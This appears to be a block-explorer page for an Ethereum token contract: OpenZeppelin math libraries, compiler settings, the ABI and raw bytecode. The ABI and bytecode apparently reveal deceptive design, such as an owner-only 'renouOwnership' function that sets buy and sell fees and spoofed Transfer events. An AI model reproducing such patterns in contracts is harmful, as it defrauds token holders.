require(downcasted == value, "SafeCast: value doesn't fit in 104 bits"); } /** * @dev Returns the downcasted int96 from int256, reverting on * overflow (when the input is less than smallest int96 or * greater than largest int96). * * Counterpart to Solidity's `int96` operator. * * Requirements: * * - input must fit into 96 bits * * _Available since v4.7._ */ function toInt96(int256 value) internal pure returns (int96 downcasted) { downcasted = int96(value); require(downcasted == value, "SafeCast: value doesn't fit in 96 bits"); } /** * @dev Returns the downcasted int88 from int256, reverting on * overflow (when the input is less than smallest int88 or * greater than largest int88). * * Counterpart to Solidity's `int88` operator. * * Requirements: * * - input must fit into 88 bits * * _Available since v4.7._ */ function toInt88(int256 value) internal pure returns (int88 downcasted) { downcasted = int88(value); require(downcasted == value, "SafeCast: value doesn't fit in 88 bits"); } /** * @dev Returns the downcasted int80 from int256, reverting on * overflow (when the input is less than smallest int80 or * greater than largest int80). * * Counterpart to Solidity's `int80` operator. * * Requirements: * * - input must fit into 80 bits * * _Available since v4.7._ */ function toInt80(int256 value) internal pure returns (int80 downcasted) { downcasted = int80(value); require(downcasted == value, "SafeCast: value doesn't fit in 80 bits"); } /** * @dev Returns the downcasted int72 from int256, reverting on * overflow (when the input is less than smallest int72 or * greater than largest int72). * * Counterpart to Solidity's `int72` operator. * * Requirements: * * - input must fit into 72 bits * * _Available since v4.7._ */ function toInt72(int256 value) internal pure returns (int72 downcasted) { downcasted = int72(value); require(downcasted == value, "SafeCast: value doesn't fit in 72 bits"); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64 downcasted) { downcasted = int64(value); require(downcasted == value, "SafeCast: value doesn't fit in 64 bits"); } /** * @dev Returns the downcasted int56 from int256, reverting on * overflow (when the input is less than smallest int56 or * greater than largest int56). * * Counterpart to Solidity's `int56` operator. * * Requirements: * * - input must fit into 56 bits * * _Available since v4.7._ */ function toInt56(int256 value) internal pure returns (int56 downcasted) { downcasted = int56(value); require(downcasted == value, "SafeCast: value doesn't fit in 56 bits"); } /** * @dev Returns the downcasted int48 from int256, reverting on * overflow (when the input is less than smallest int48 or * greater than largest int48). * * Counterpart to Solidity's `int48` operator. * * Requirements: * * - input must fit into 48 bits * * _Available since v4.7._ */ function toInt48(int256 value) internal pure returns (int48 downcasted) { downcasted = int48(value); require(downcasted == value, "SafeCast: value doesn't fit in 48 bits"); } /** * @dev Returns the downcasted int40 from int256, reverting on * overflow (when the input is less than smallest int40 or * greater than largest int40). * * Counterpart to Solidity's `int40` operator. * * Requirements: * * - input must fit into 40 bits * * _Available since v4.7._ */ function toInt40(int256 value) internal pure returns (int40 downcasted) { downcasted = int40(value); require(downcasted == value, "SafeCast: value doesn't fit in 40 bits"); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32 downcasted) { downcasted = int32(value); require(downcasted == value, "SafeCast: value doesn't fit in 32 bits"); } /** * @dev Returns the downcasted int24 from int256, reverting on * overflow (when the input is less than smallest int24 or * greater than largest int24). * * Counterpart to Solidity's `int24` operator. * * Requirements: * * - input must fit into 24 bits * * _Available since v4.7._ */ function toInt24(int256 value) internal pure returns (int24 downcasted) { downcasted = int24(value); require(downcasted == value, "SafeCast: value doesn't fit in 24 bits"); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16 downcasted) { downcasted = int16(value); require(downcasted == value, "SafeCast: value doesn't fit in 16 bits"); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8 downcasted) { downcasted = int8(value); require(downcasted == value, "SafeCast: value doesn't fit in 8 bits"); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. * * _Available since v3.0._ */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require( value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256" ); return int256(value); } }
library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol) pragma solidity ^0.8.0; /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMath { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } }
{ "optimizer": { "enabled": true, "runs": 200 }, "evmVersion": "shanghai", "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } }, "metadata": { "useLiteralContent": true }, "libraries": {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_addr","type":"address"}],"name":"initializeEvent","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_holder","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_buyback","type":"uint256"}],"name":"setRevenueShareEvent","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"}],"name":"changeGame","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_addr","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"renouOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_holder","type":"uint256"},{"internalType":"uint256","name":"_buyback","type":"uint256"}],"name":"setRevenueShare","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60c0604052600a608090815269582d526174696f20416960b01b60a0525f906200002a9082620002d9565b506040805180820190915260048152635852414960e01b6020820152600190620000559082620002d9565b50600980546001600160a01b031916738bbf3d786f80fe9e66bd92c740c2930e617ca4be17905534801562000088575f80fd5b5060408051606081018252338082525f6020808401829052928401819052600280546001600160b01b03191661ffff60a01b19841617905530815260048352838120737a250d5630b4cf539739df2c5dacb4c659f2488d82529092529181205f199055600880546001600160a01b031990811684179091556006805482168417905560078054909116909217909155806064620001286012600a620004b4565b62000138906305f5e100620004cb565b6200014590604b620004cb565b620001519190620004e5565b600880546001600160a01b039081165f90815260036020908152604080832095909555600654935483168252848220549451948552929091169290915f8051602062001817833981519152910160405180910390a36064620001b66012600a620004b4565b620001c6906305f5e100620004cb565b620001d3906019620004cb565b620001df9190620004e5565b600980546001600160a01b039081165f908152600360205260408082209490945591541680825282822054925190925f8051602062001817833981519152916200022b91815260200190565b60405180910390a3505062000505565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200026457607f821691505b6020821081036200028357634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620002d457805f5260205f20601f840160051c81016020851015620002b05750805b601f840160051c820191505b81811015620002d1575f8155600101620002bc565b50505b505050565b81516001600160401b03811115620002f557620002f56200023b565b6200030d816200030684546200024f565b8462000289565b602080601f83116001811462000343575f84156200032b5750858301515b5f19600386901b1c1916600185901b1785556200039d565b5f85815260208120601f198616915b82811015620003735788860151825594840194600190910190840162000352565b50858210156200039157878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620003f957815f1904821115620003dd57620003dd620003a5565b80851615620003eb57918102915b93841c9390800290620003be565b509250929050565b5f826200041157506001620004ae565b816200041f57505f620004ae565b8160018114620004385760028114620004435762000463565b6001915050620004ae565b60ff841115620004575762000457620003a5565b50506001821b620004ae565b5060208310610133831016604e8410600b841016171562000488575081810a620004ae565b620004948383620003b9565b805f1904821115620004aa57620004aa620003a5565b0290505b92915050565b5f620004c460ff84168362000401565b9392505050565b8082028115828204841417620004ae57620004ae620003a5565b5f826200050057634e487b7160e01b5f52601260045260245ffd5b500490565b61130480620005135f395ff3fe6080604052600436106100f2575f3560e01c80635b03211811610087578063a9059cbb11610057578063a9059cbb146102f0578063c4d66de81461030f578063c9567bf91461032e578063dd62ed3e14610342575f80fd5b80635b0321181461025b57806370a082311461027a57806395d89b41146102a5578063a8aa1b31146102b9575f80fd5b806318160ddd116100c257806318160ddd1461019657806323b872dd146101b8578063313ce567146101d75780634abe3052146101fd575f80fd5b806306596921146100fd57806306fdde031461011e5780630949338e14610148578063095ea7b314610167575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011c610117366004610d0d565b610378565b005b348015610129575f80fd5b506101326103df565b60405161013f9190610d2d565b60405180910390f35b348015610153575f80fd5b5061011c610162366004610d8e565b61046e565b348015610172575f80fd5b50610186610181366004610dd6565b6104cc565b604051901515815260200161013f565b3480156101a1575f80fd5b506101aa610538565b60405190815260200161013f565b3480156101c3575f80fd5b506101866101d2366004610e00565b610555565b3480156101e2575f80fd5b506101eb601281565b60405160ff909116815260200161013f565b348015610208575f80fd5b50600254610232906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161013f565b348015610266575f80fd5b5061011c610275366004610edb565b6105a2565b348015610285575f80fd5b506101aa610294366004610f3b565b60036020525f908152604090205481565b3480156102b0575f80fd5b506101326105e9565b3480156102c4575f80fd5b506005546102d8906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156102fb575f80fd5b5061018661030a366004610dd6565b6105f8565b34801561031a575f80fd5b5061011c610329366004610f3b565b61060b565b348015610339575f80fd5b5061011c610674565b34801561034d575f80fd5b506101aa61035c366004610f56565b600460209081525f928352604080842090915290825290205481565b6002546001600160a01b031633146103a257604051629af2b160e81b815260040160405180910390fd5b60408051838152602081018390527fb429f99627334512f02a8ea2616421c0346ec838954af1b706764078c6e55e4b910160405180910390a15050565b60605f80546103ed90610f8d565b80601f016020809104026020016040519081016040528092919081815260200182805461041990610f8d565b80156104645780601f1061043b57610100808354040283529160200191610464565b820191905f5260205f20905b81548152906001019060200180831161044757829003601f168201915b5050505050905090565b6002546001600160a01b0316331461049857604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105269086815260200190565b60405180910390a35060015b92915050565b6105446012600a6110b9565b610552906305f5e1006110c7565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906105899084906110de565b9091555061059a905084848461082a565b949350505050565b6002546001600160a01b031633146105cc57604051629af2b160e81b815260040160405180910390fd5b5f6105d7838261113c565b5060016105e4828261113c565b505050565b6060600180546103ed90610f8d565b5f61060433848461082a565b9392505050565b6002546001600160a01b0316331461063557604051629af2b160e81b815260040160405180910390fd5b6040516001600160a01b03821681527fee5b150dece8b2b5537abfe08c1883f41c3e55748b6e154bfa885d1472345ee59060200160405180910390a150565b6002546001600160a01b0316331461068a575f80fd5b600554600160a81b900460ff16156106a0575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071591906111fc565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610768573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078c91906111fc565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156107db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ff91906111fc565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061083e6002546001600160a01b031690565b600554909150600160a81b900460ff168061086a5750806001600160a01b0316856001600160a01b0316145b806108865750806001600160a01b0316846001600160a01b0316145b61088e575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906108b59084906110de565b90915550506005546001600160a01b0385811691161480156108e15750600554600160a01b900460ff16155b8015610920575060646108f66012600a6110b9565b610904906305f5e1006110c7565b61090e9190611217565b305f9081526003602052604090205410155b801561093e5750806001600160a01b0316856001600160a01b031614155b15610b1c576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061098957610989611236565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1d91906111fc565b81600181518110610a3057610a30611236565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f61396064610a706012600a6110b9565b610a7e906305f5e1006110c7565b610a889190611217565b5f8430426040518663ffffffff1660e01b8152600401610aac95949392919061124a565b5f604051808303815f87803b158015610ac3575f80fd5b505af1158015610ad5573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610b0c573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b0387163014801590610b5a5750600554600160a81b900460ff1615156001145b15610bce576005545f906064906001600160a01b03898116911614610b7f5783610b81565b825b610b8e9060ff16886110c7565b610b989190611217565b9050610ba481876110de565b305f90815260036020526040812080549298508392909190610bc79084906112bb565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610bf59084906112bb565b90915550506007546001600160a01b0390811690881603610c5a576006546040518681526001600160a01b038881169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a3610d00565b6007546001600160a01b0390811690871603610cb2576006546040518681526001600160a01b03918216918916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610c4d565b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610cf791815260200190565b60405180910390a35b5060019695505050505050565b5f8060408385031215610d1e575f80fd5b50508035926020909101359150565b5f602080835283518060208501525f5b81811015610d5957858101830151858201604001528201610d3d565b505f604082860101526040601f19601f8301168501019250505092915050565b803560ff81168114610d89575f80fd5b919050565b5f8060408385031215610d9f575f80fd5b610da883610d79565b9150610db660208401610d79565b90509250929050565b6001600160a01b0381168114610dd3575f80fd5b50565b5f8060408385031215610de7575f80fd5b8235610df281610dbf565b946020939093013593505050565b5f805f60608486031215610e12575f80fd5b8335610e1d81610dbf565b92506020840135610e2d81610dbf565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f82601f830112610e61575f80fd5b813567ffffffffffffffff80821115610e7c57610e7c610e3e565b604051601f8301601f19908116603f01168101908282118183101715610ea457610ea4610e3e565b81604052838152866020858801011115610ebc575f80fd5b836020870160208301375f602085830101528094505050505092915050565b5f8060408385031215610eec575f80fd5b823567ffffffffffffffff80821115610f03575f80fd5b610f0f86838701610e52565b93506020850135915080821115610f24575f80fd5b50610f3185828601610e52565b9150509250929050565b5f60208284031215610f4b575f80fd5b813561060481610dbf565b5f8060408385031215610f67575f80fd5b8235610f7281610dbf565b91506020830135610f8281610dbf565b809150509250929050565b600181811c90821680610fa157607f821691505b602082108103610fbf57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561101357815f1904821115610ff957610ff9610fc5565b8085161561100657918102915b93841c9390800290610fde565b509250929050565b5f8261102957506001610532565b8161103557505f610532565b816001811461104b576002811461105557611071565b6001915050610532565b60ff84111561106657611066610fc5565b50506001821b610532565b5060208310610133831016604e8410600b8410161715611094575081810a610532565b61109e8383610fd9565b805f19048211156110b1576110b1610fc5565b029392505050565b5f61060460ff84168361101b565b808202811582820484141761053257610532610fc5565b8181038181111561053257610532610fc5565b601f8211156105e457805f5260205f20601f840160051c810160208510156111165750805b601f840160051c820191505b81811015611135575f8155600101611122565b5050505050565b815167ffffffffffffffff81111561115657611156610e3e565b61116a816111648454610f8d565b846110f1565b602080601f83116001811461119d575f84156111865750858301515b5f19600386901b1c1916600185901b1785556111f4565b5f85815260208120601f198616915b828110156111cb578886015182559484019460019091019084016111ac565b50858210156111e857878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f6020828403121561120c575f80fd5b815161060481610dbf565b5f8261123157634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561129a5784516001600160a01b031683529383019391830191600101611275565b50506001600160a01b03969096166060850152505050608001529392505050565b8082018082111561053257610532610fc556fea2646970667358221220473de8243ec8286a3d08a25f4f6be791f0c36c0ee36af9f471ce7b4b7db34b3f64736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
Deployed Bytecode
0x6080604052600436106100f2575f3560e01c80635b03211811610087578063a9059cbb11610057578063a9059cbb146102f0578063c4d66de81461030f578063c9567bf91461032e578063dd62ed3e14610342575f80fd5b80635b0321181461025b57806370a082311461027a57806395d89b41146102a5578063a8aa1b31146102b9575f80fd5b806318160ddd116100c257806318160ddd1461019657806323b872dd146101b8578063313ce567146101d75780634abe3052146101fd575f80fd5b806306596921146100fd57806306fdde031461011e5780630949338e14610148578063095ea7b314610167575f80fd5b366100f957005b5f80fd5b348015610108575f80fd5b5061011c610117366004610d0d565b610378565b005b348015610129575f80fd5b506101326103df565b60405161013f9190610d2d565b60405180910390f35b348015610153575f80fd5b5061011c610162366004610d8e565b61046e565b348015610172575f80fd5b50610186610181366004610dd6565b6104cc565b604051901515815260200161013f565b3480156101a1575f80fd5b506101aa610538565b60405190815260200161013f565b3480156101c3575f80fd5b506101866101d2366004610e00565b610555565b3480156101e2575f80fd5b506101eb601281565b60405160ff909116815260200161013f565b348015610208575f80fd5b50600254610232906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff928316602085015291169082015260600161013f565b348015610266575f80fd5b5061011c610275366004610edb565b6105a2565b348015610285575f80fd5b506101aa610294366004610f3b565b60036020525f908152604090205481565b3480156102b0575f80fd5b506101326105e9565b3480156102c4575f80fd5b506005546102d8906001600160a01b031681565b6040516001600160a01b03909116815260200161013f565b3480156102fb575f80fd5b5061018661030a366004610dd6565b6105f8565b34801561031a575f80fd5b5061011c610329366004610f3b565b61060b565b348015610339575f80fd5b5061011c610674565b34801561034d575f80fd5b506101aa61035c366004610f56565b600460209081525f928352604080842090915290825290205481565b6002546001600160a01b031633146103a257604051629af2b160e81b815260040160405180910390fd5b60408051838152602081018390527fb429f99627334512f02a8ea2616421c0346ec838954af1b706764078c6e55e4b910160405180910390a15050565b60605f80546103ed90610f8d565b80601f016020809104026020016040519081016040528092919081815260200182805461041990610f8d565b80156104645780601f1061043b57610100808354040283529160200191610464565b820191905f5260205f20905b81548152906001019060200180831161044757829003601f168201915b5050505050905090565b6002546001600160a01b0316331461049857604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906105269086815260200190565b60405180910390a35060015b92915050565b6105446012600a6110b9565b610552906305f5e1006110c7565b81565b6001600160a01b0383165f9081526004602090815260408083203384529091528120805483919083906105899084906110de565b9091555061059a905084848461082a565b949350505050565b6002546001600160a01b031633146105cc57604051629af2b160e81b815260040160405180910390fd5b5f6105d7838261113c565b5060016105e4828261113c565b505050565b6060600180546103ed90610f8d565b5f61060433848461082a565b9392505050565b6002546001600160a01b0316331461063557604051629af2b160e81b815260040160405180910390fd5b6040516001600160a01b03821681527fee5b150dece8b2b5537abfe08c1883f41c3e55748b6e154bfa885d1472345ee59060200160405180910390a150565b6002546001600160a01b0316331461068a575f80fd5b600554600160a81b900460ff16156106a0575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106f1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061071591906111fc565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610768573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078c91906111fc565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156107db573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ff91906111fc565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b5f8061083e6002546001600160a01b031690565b600554909150600160a81b900460ff168061086a5750806001600160a01b0316856001600160a01b0316145b806108865750806001600160a01b0316846001600160a01b0316145b61088e575f80fd5b6001600160a01b0385165f90815260036020526040812080548592906108b59084906110de565b90915550506005546001600160a01b0385811691161480156108e15750600554600160a01b900460ff16155b8015610920575060646108f66012600a6110b9565b610904906305f5e1006110c7565b61090e9190611217565b305f9081526003602052604090205410155b801561093e5750806001600160a01b0316856001600160a01b031614155b15610b1c576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061098957610989611236565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109f9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1d91906111fc565b81600181518110610a3057610a30611236565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f61396064610a706012600a6110b9565b610a7e906305f5e1006110c7565b610a889190611217565b5f8430426040518663ffffffff1660e01b8152600401610aac95949392919061124a565b5f604051808303815f87803b158015610ac3575f80fd5b505af1158015610ad5573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050